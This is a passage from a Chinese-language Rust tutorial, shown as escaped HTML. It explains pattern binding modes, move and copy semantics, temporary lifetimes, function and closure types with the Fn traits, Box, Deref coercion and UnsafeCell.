&lt;p&gt;&lt;code&gt;ref mut x @ pattern&lt;&#x2F;code&gt;: Identifier Pattern，将会创造一个变量&lt;code&gt;x&lt;&#x2F;code&gt;绑定到被Match的Expression的一部分，&lt;code&gt;ref&lt;&#x2F;code&gt;、&lt;code&gt;mut&lt;&#x2F;code&gt;和&lt;code&gt;@ pattern&lt;&#x2F;code&gt;都是可选的&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;x&lt;&#x2F;code&gt;默认由&lt;em&gt;scrutinee&lt;&#x2F;em&gt;的匹配部分move或copy得到，因此实际上是一个新的本地局部变量&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;mut x&lt;&#x2F;code&gt;表示&lt;code&gt;x&lt;&#x2F;code&gt;是mutable的，但对x的修改不会影响原来的&lt;em&gt;scrutinee&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;ref x&lt;&#x2F;code&gt;表示&lt;code&gt;x&lt;&#x2F;code&gt;是一个引用，指向匹配的部分，因此通过&lt;code&gt;x&lt;&#x2F;code&gt;可以修改原来的&lt;em&gt;scrutinee&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;注意&lt;code&gt;ref x&lt;&#x2F;code&gt;和&lt;code&gt;&amp;amp;x&lt;&#x2F;code&gt;不同，例如&lt;code&gt;let (ref x, y) = (3, 4)&lt;&#x2F;code&gt;合法，而&lt;code&gt;let (&amp;amp;x, y) = (3, 4)&lt;&#x2F;code&gt;不合法&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;x @ pattern&lt;&#x2F;code&gt;相当于先匹配了&lt;code&gt;pattern&lt;&#x2F;code&gt;，然后将其作为一个整体绑定到了&lt;code&gt;x&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Binding Mode&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;默认的Binding Mode是move或copy&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;当&lt;em&gt;scrutinee&lt;&#x2F;em&gt;是Reference Type而Pattern不是Reference Type时，会将&lt;em&gt;scrutinee&lt;&#x2F;em&gt;解引用而Pattern不变，然后重复匹配过程，此后Binding Mode会改为&lt;code&gt;ref&lt;&#x2F;code&gt;或&lt;code&gt;ref mut&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;这意味着&lt;code&gt;x&lt;&#x2F;code&gt;默认会被理解为&lt;code&gt;ref x&lt;&#x2F;code&gt;或&lt;code&gt;ref mut x&lt;&#x2F;code&gt;，自动成为一个引用&lt;&#x2F;li&gt;
&lt;li&gt;例如&lt;code&gt;let t = (3, 4); let (x, y) = &amp;amp;t;&lt;&#x2F;code&gt;中，&lt;code&gt;x&lt;&#x2F;code&gt;, &lt;code&gt;y&lt;&#x2F;code&gt;都将是&lt;code&gt;&amp;amp;i32&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;注意：Pattern是单独一个&lt;code&gt;x&lt;&#x2F;code&gt;时，只会直接move或copy&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;若Binding Mode已经是&lt;code&gt;ref&lt;&#x2F;code&gt;，则即使解引用了mutable reference，也不会将Binding Mode改为&lt;code&gt;ref mut&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;通过&lt;code&gt;ref x&lt;&#x2F;code&gt;以及Binding Mode为&lt;code&gt;ref&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;ref mut&lt;&#x2F;code&gt;的Pattern Matching，会产生对&lt;em&gt;scrutinee&lt;&#x2F;em&gt;的&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;tcbbd.moe&#x2F;lang&#x2F;rust&#x2F;#part-ii-the-essence-of-rust&quot;&gt;borrow&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;(pattern)&lt;&#x2F;code&gt;: Grouped Pattern，用于明确优先级，避免Ambiguity&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;path {x: pat, y: pat, ..}&lt;&#x2F;code&gt;: Struct Pattern，用于destructure一个Struct&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;path&lt;&#x2F;code&gt;用于指定Struct的完整路径，如&lt;code&gt;A::B::C&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;对于&lt;em&gt;tuple struct&lt;&#x2F;em&gt;，应使用&lt;code&gt;0: pat, 1: pat, ..&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;末尾的&lt;code&gt;, ..&lt;&#x2F;code&gt;表示其余Fields，是可选的，不使用&lt;code&gt;..&lt;&#x2F;code&gt;则需要列出所有Field&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;{x, ref y, mut z}&lt;&#x2F;code&gt;: 等价于&lt;code&gt;{x: x, y: ref y, z: mut z}&lt;&#x2F;code&gt;，相当于Struct初始化的反向操作&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;path (pat, pat,)&lt;&#x2F;code&gt;: Tuple Struct Pattern，用于destructure一个tuple struct&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;path (pat, pat, ..)&lt;&#x2F;code&gt;, &lt;code&gt;path (.., pat, pat)&lt;&#x2F;code&gt;, &lt;code&gt;path (pat, .., pat)&lt;&#x2F;code&gt;可以用于省略若干元素&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;(pat, pat,)&lt;&#x2F;code&gt;: Tuple Pattern，用于destructure一个Tuple&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;(pat, pat, ..)&lt;&#x2F;code&gt;, &lt;code&gt;(.., pat, pat)&lt;&#x2F;code&gt;, &lt;code&gt;(pat, .., pat)&lt;&#x2F;code&gt;可以用于省略若干元素&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;[pat, pat,]&lt;&#x2F;code&gt;: Slice Pattern，用于destructure一个Array或Slice&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;目前在Slice Pattern中不支持&lt;code&gt;..&lt;&#x2F;code&gt;的使用&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;more-on-move-semantics&quot;&gt;More on Move Semantics&lt;&#x2F;h2&gt;
&lt;p&gt;首先，我们进一步明确move的语义：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Expression分为Place Expression（即左值lvalue）和Value Expression（即右值rvalue）&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;又有Place Expression Context和Value Expression Context的区别，前者期望一个左值而后者期望一个右值&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;例如Assignment操作，LHS为Place Expression Context，RHS为Value Expression Context&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;若一个Place Expression出现在Value Expression Context，则我们需要取出其值，这一步就会进行move或copy操作&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;注意：&lt;&#x2F;strong&gt;  已经被&lt;strong&gt;borrow&lt;&#x2F;strong&gt;过的变量，不能被move（关于&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;tcbbd.moe&#x2F;lang&#x2F;rust&#x2F;#part-ii-the-essence-of-rust&quot;&gt;borrow&lt;&#x2F;a&gt;下面会详细介绍）&lt;&#x2F;li&gt;
&lt;li&gt;当然，其&lt;em&gt;value&lt;&#x2F;em&gt;已经被move走的变量，也不能被move&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;另一方面，若Value Expression出现在Place Expression Context，则会创建一个临时变量，以获得其地址，其lifetime为：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;对于在&lt;code&gt;if&lt;&#x2F;code&gt;或&lt;code&gt;while&lt;&#x2F;code&gt;条件中创建的临时变量，在条件判断完毕后就会销毁&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;let x = if foo(&amp;amp;temp()) {bar()} else {baz()};&lt;&#x2F;code&gt;: 临时变量会在&lt;code&gt;bar, baz&lt;&#x2F;code&gt;执行前销毁&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;while foo(&amp;amp;temp()) {bar();}&lt;&#x2F;code&gt;: 临时变量会在&lt;code&gt;bar&lt;&#x2F;code&gt;执行前销毁&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;对于其他情况，lifetime为最内层的包含该Value Expression的语句（a.k.a innermost enclosing statement）&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;let x = foo(&amp;amp;temp());&lt;&#x2F;code&gt;，临时变量会在赋值完成后销毁&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;对于&lt;code&gt;let&lt;&#x2F;code&gt;语句，若临时变量的引用&#x2F;指针被赋值到LHS，则临时变量的lifetime会扩展为整个&lt;code&gt;let&lt;&#x2F;code&gt;语句所在的innermost enclosing statement&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;let x = &amp;amp;temp()&lt;&#x2F;code&gt;, &lt;code&gt;let x = S { foo: &amp;amp;temp() }&lt;&#x2F;code&gt;, &lt;code&gt;let x = [ &amp;amp;temp() ]&lt;&#x2F;code&gt;: 临时变量会延续到整个block结束&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;let ref x = temp()&lt;&#x2F;code&gt;: 通过&lt;code&gt;ref x&lt;&#x2F;code&gt;的pattern，实现的效果是相同的&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;现在来看各种类型的move语义：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;基本类型都支持copy语义&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;对Array和Tuple，若所有成员都可以copy，则它可以copy&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;对immutable引用使用copy语义&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;let a = &amp;amp;x; let b = a;&lt;&#x2F;code&gt;: &lt;code&gt;a&lt;&#x2F;code&gt;, &lt;code&gt;b&lt;&#x2F;code&gt;均为对&lt;code&gt;x&lt;&#x2F;code&gt;的immutable引用&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;对mutable引用使用move语义，这保证了mutable引用的唯一性（uniqueness）&#x2F;排他性（exclusiveness）&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;let a = &amp;amp;mut x; let b = a;&lt;&#x2F;code&gt;: 仅&lt;code&gt;b&lt;&#x2F;code&gt;为对&lt;code&gt;x&lt;&#x2F;code&gt;的有效mutable引用，&lt;code&gt;a&lt;&#x2F;code&gt;中存放的引用已经被move走&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;对Struct、Enum等用户自定义类型，默认没有实现&lt;code&gt;Copy&lt;&#x2F;code&gt;，采用move语义&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;可以通过&lt;code&gt;impl Copy for T {}&lt;&#x2F;code&gt;让其支持copy语义，注意此处不需要填写实现，因为copy语义是由编译器自动实现的&lt;&#x2F;li&gt;
&lt;li&gt;也可以在类型的定义前添加&lt;code&gt;#[derive(Copy)]&lt;&#x2F;code&gt;效果相同&lt;&#x2F;li&gt;
&lt;li&gt;若其成员有不可copy的，或其实现了&lt;code&gt;Drop&lt;&#x2F;code&gt;Trait，不允许实现&lt;code&gt;Copy&lt;&#x2F;code&gt;，此时上述做法无法通过编译&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;functions-and-closures&quot;&gt;Functions and Closures&lt;&#x2F;h2&gt;
&lt;p&gt;我们首先考察函数类型，有两种函数类型：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;em&gt;function item type&lt;&#x2F;em&gt;: 函数以及tuple-like struct和enum variant的constructor，其本质类型都是&lt;em&gt;function item&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;该类型的Size为0，并且Rust的Type Annotation语法无法表示这种类型&lt;&#x2F;li&gt;
&lt;li&gt;每个函数的function item type都是不同的，即使两个函数signature相同仅名称不同，它们也是不同的类型&lt;&#x2F;li&gt;
&lt;li&gt;编译器出错信息中function item type的格式为&lt;code&gt;fn(i32) -&amp;gt; i32 {foo}&lt;&#x2F;code&gt;，最后的&lt;code&gt;{foo}&lt;&#x2F;code&gt;就是表示函数名称，函数名不同则类型不同&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;em&gt;function pointer type&lt;&#x2F;em&gt;: &lt;code&gt;fn (i32) -&amp;gt; i32&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;类型也可写作&lt;code&gt;fn (_: i32) -&amp;gt; i32&lt;&#x2F;code&gt;或&lt;code&gt;fn (x: i32) -&amp;gt; i32&lt;&#x2F;code&gt;，参数名会被编译器忽略&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;function item可以隐式转换（&lt;em&gt;coercion&lt;&#x2F;em&gt;）成function pointer，特别地，这可以在条件语句中发生&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;if expr { fn_item1 } else { fn_item2 }&lt;&#x2F;code&gt;中，若&lt;code&gt;fn_item1&lt;&#x2F;code&gt;和&lt;code&gt;fn_item2&lt;&#x2F;code&gt;signature相同但不是同一个function item，整个表达式的返回值将是一个函数指针&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;non-capture的closure也可以隐式转换成function pointer&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;unsafe&lt;&#x2F;code&gt;和&lt;code&gt;extern&lt;&#x2F;code&gt;的函数也可以转换为函数指针，特别地，来自C的函数（&lt;code&gt;&quot;C&quot;, &quot;cdecl&quot;&lt;&#x2F;code&gt;）支持变长参数（variadic parameters）&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;再来看closure，创建closure的语法类似Ruby：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;|pat1, pat2| expr&lt;&#x2F;code&gt;: 简单的closure不需要加花括号&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;|pat1: T1, pat2: T2| -&amp;gt; Tr {}&lt;&#x2F;code&gt;: 类型信息是可选的&lt;&#x2F;li&gt;
&lt;li&gt;可以使用irrefutable pattern来指定参数，例如&lt;code&gt;|(x, y)| -&amp;gt; x + y&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;closure可以对外界变量进行capture：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;有三种capture mode，分别是immutable borrow、mutable borrow和move，即通过immutable引用、mutable引用或值捕获&lt;&#x2F;li&gt;
&lt;li&gt;编译器会自动选择变量的capture mode，优先选择immutable borrow，其次mutable borrow，最后move，选择的依据是以能编译通过为准&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;move |pat1, pat2| -&amp;gt; expr&lt;&#x2F;code&gt;: 通过添加&lt;code&gt;move&lt;&#x2F;code&gt;关键字，可以强制所有变量按值捕获&lt;&#x2F;li&gt;
&lt;li&gt;closure body中即使只引用了structure、tuple或enum的一部分，也会按整体进行捕获&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;现在来考察以上三种类型的move语义：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;function item和function pointer显然可以进行copy&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;本质上，closure可以理解为一个struct，里面包含了其捕获的变量&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;若所有的capture都可以copy，则整个closure可以copy，否则使用move语义&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;若存在mutable borrow捕获，则不能copy&lt;&#x2F;li&gt;
&lt;li&gt;若存在按值捕获，则捕获的变量必须支持copy语义，否则不能copy&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;同function item一样，每个closure的类型都不同，并且无法在Rust中表示。我们可以通过Trait来表示closure：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;共有三种Trait，分别是&lt;code&gt;FnOnce&lt;&#x2F;code&gt;、&lt;code&gt;FnMut&lt;&#x2F;code&gt;和&lt;code&gt;Fn&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;配合参数和返回值类型才构成完整的Trait，例如&lt;code&gt;FnOnce(i32) -&amp;gt; i32&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;FnOnce&lt;&#x2F;code&gt;调用时，closure作为&lt;code&gt;self&lt;&#x2F;code&gt;按值传入&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;若closure没有实现&lt;code&gt;Copy&lt;&#x2F;code&gt;，则&lt;code&gt;FnOnce&lt;&#x2F;code&gt;只能使用一次，这就是其名称的由来&lt;&#x2F;li&gt;
&lt;li&gt;所有closure都会自动实现&lt;code&gt;FnOnce&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;FnMut&lt;&#x2F;code&gt;调用时，closure作为&lt;code&gt;&amp;amp;mut self&lt;&#x2F;code&gt;按mutable引用传入&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;若closure会将捕获到的值或引用返回（即move到closure外部），则它真的只能调用一次，不允许实现&lt;code&gt;FnMut&lt;&#x2F;code&gt;和&lt;code&gt;Fn&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;Fn&lt;&#x2F;code&gt;调用时，closure作为&lt;code&gt;&amp;amp;self&lt;&#x2F;code&gt;按immutable引用传入&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;若closure含有mutable borrow捕获，则不允许实现&lt;code&gt;Fn&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;Fn: FnMut&lt;&#x2F;code&gt;, &lt;code&gt;FnMut: FnOnce&lt;&#x2F;code&gt;: 它们之间有supertrait的关系，从上面的描述不难看出这样设计的理由&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;function item和function pointer都会自动实现&lt;code&gt;FnOnce&lt;&#x2F;code&gt;、&lt;code&gt;FnMut&lt;&#x2F;code&gt;和&lt;code&gt;Fn&lt;&#x2F;code&gt;，因为它们没有任何capture，这三者对它们没有区别&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;为了将closure作为值从函数返回，我们可以使用&lt;code&gt;impl Fn(i32) -&amp;gt; i32&lt;&#x2F;code&gt;作为函数的返回值类型，这样就不需要先将其包装到堆上再返回了&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;smart-pointers&quot;&gt;Smart Pointers&lt;&#x2F;h2&gt;
&lt;p&gt;在Rust中仅仅使用reference是无法在堆上分配内存的，为了在堆上管理对象，我们需要使用智能指针。&lt;&#x2F;p&gt;
&lt;p&gt;首先来看&lt;code&gt;std::boxed::Box&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;类似于C++的&lt;code&gt;unique_ptr&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;可以使用&lt;code&gt;Box::new(x)&lt;&#x2F;code&gt;创建一个box，它将对&lt;code&gt;x&lt;&#x2F;code&gt;持有ownership&lt;&#x2F;li&gt;
&lt;li&gt;没有实现&lt;code&gt;Copy&lt;&#x2F;code&gt;，采用move语义&lt;&#x2F;li&gt;
&lt;li&gt;可以对box直接使用&lt;code&gt;*&lt;&#x2F;code&gt;解引用操作符&lt;&#x2F;li&gt;
&lt;li&gt;box在离开作用域时会释放其申请的内存，因为&lt;code&gt;Box&amp;lt;dyn Foo + &#x27;static&amp;gt;&lt;&#x2F;code&gt;实现了&lt;code&gt;Drop&lt;&#x2F;code&gt;这个Trait&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;可以调用&lt;code&gt;std::mem::drop(x)&lt;&#x2F;code&gt;令&lt;code&gt;x&lt;&#x2F;code&gt;提前析构，但只对move语义的&lt;code&gt;x&lt;&#x2F;code&gt;有效，这也就包括了&lt;code&gt;Box&amp;lt;dyn Foo + &#x27;static&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;对于&lt;code&gt;Box&amp;lt;dyn Foo + &#x27;static&amp;gt;&lt;&#x2F;code&gt;可以使用解引用操作符，是因为其实现了&lt;code&gt;Deref&lt;&#x2F;code&gt;和&lt;code&gt;DerefMut&lt;&#x2F;code&gt;这两个Trait：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;对于immutable的&lt;code&gt;x&lt;&#x2F;code&gt;，&lt;code&gt;*x&lt;&#x2F;code&gt;相当于&lt;code&gt;*std::Deref::deref(&amp;amp;x)&lt;&#x2F;code&gt;，其中&lt;code&gt;deref&lt;&#x2F;code&gt;返回&lt;code&gt;&amp;amp;Self::Target&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;对于mutable的&lt;code&gt;x&lt;&#x2F;code&gt;，&lt;code&gt;*x&lt;&#x2F;code&gt;相当于&lt;code&gt;*std::DerefMut::deref_mut(&amp;amp;mut x)&lt;&#x2F;code&gt;，其中&lt;code&gt;deref_mut&lt;&#x2F;code&gt;返回&lt;code&gt;&amp;amp;mut Self::Target&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;若&lt;code&gt;T: Deref&amp;lt;Target = U&amp;gt;&lt;&#x2F;code&gt;，则&lt;code&gt;&amp;amp;T&lt;&#x2F;code&gt;类型的变量会coercion（隐式类型转换）到&lt;code&gt;&amp;amp;U&lt;&#x2F;code&gt;类型&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;例如&lt;code&gt;&amp;amp;Box&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;会被coercion到&lt;code&gt;&amp;amp;T&lt;&#x2F;code&gt;，所以对于&lt;code&gt;f: fn(&amp;amp;T)&lt;&#x2F;code&gt;可以这样调用：&lt;code&gt;f(&amp;amp;x)&lt;&#x2F;code&gt;, &lt;code&gt;x: Box&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;若&lt;code&gt;T: DerefMut&amp;lt;Target = U&amp;gt;&lt;&#x2F;code&gt;，则&lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt;类型的变量会coercion到&lt;code&gt;&amp;amp;mut U&lt;&#x2F;code&gt;或&lt;code&gt;&amp;amp;U&lt;&#x2F;code&gt;类型&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;我们接下来考察&lt;em&gt;interior mutability&lt;&#x2F;em&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;通常只有声明为mutable的变量以及mutable引用允许修改，这称为&lt;em&gt;inherited mutability&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;但部分具有&lt;em&gt;interior mutability&lt;&#x2F;em&gt;的类型允许通过immutable reference对其内容进行修改&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;所有的&lt;em&gt;interior mutability&lt;&#x2F;em&gt;都是来自于&lt;code&gt;std::cell::UnsafeCell&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;的&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;例如所有原子变量和锁都具有&lt;em&gt;interior mutability&lt;&#x2F;em&gt;，它们内部都是用&lt;code&gt;UnsafeCell&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;实现的&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;code&gt;UnsafeCell&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;其实是一个简单的值类型容器：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;pub struct UnsafeCell&amp;lt;T: ?Sized&amp;gt; {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    value: T,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;通过&lt;code&gt;UnsafeCell&amp;lt;T&amp;gt;::new(x)&lt;&#x2F;code&gt;创建一个unsafe cell&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;通过&lt;code&gt;UnsafeCell&amp;lt;T&amp;gt;::get(&amp;amp;self) -&amp;gt; *mut T&lt;&#x2F;code&gt;可以从unsafe cell获得指向其内部的值的raw pointer&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;所有的&lt;em&gt;interior mutability&lt;&#x2F;em&gt;实际上都是依据这个raw pointer实现的&lt;&#x2F;li&gt;
&lt;li&gt;memory safety要由raw pointer的使用者来保证，unsafe cell只是提供raw pointer而已，不提供任何safety保证。不管怎样，若要使用raw pointer，必须用到&lt;code&gt;unsafe&lt;&#x2F;code&gt;块，此时保证safety的责任就交给了调用者。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
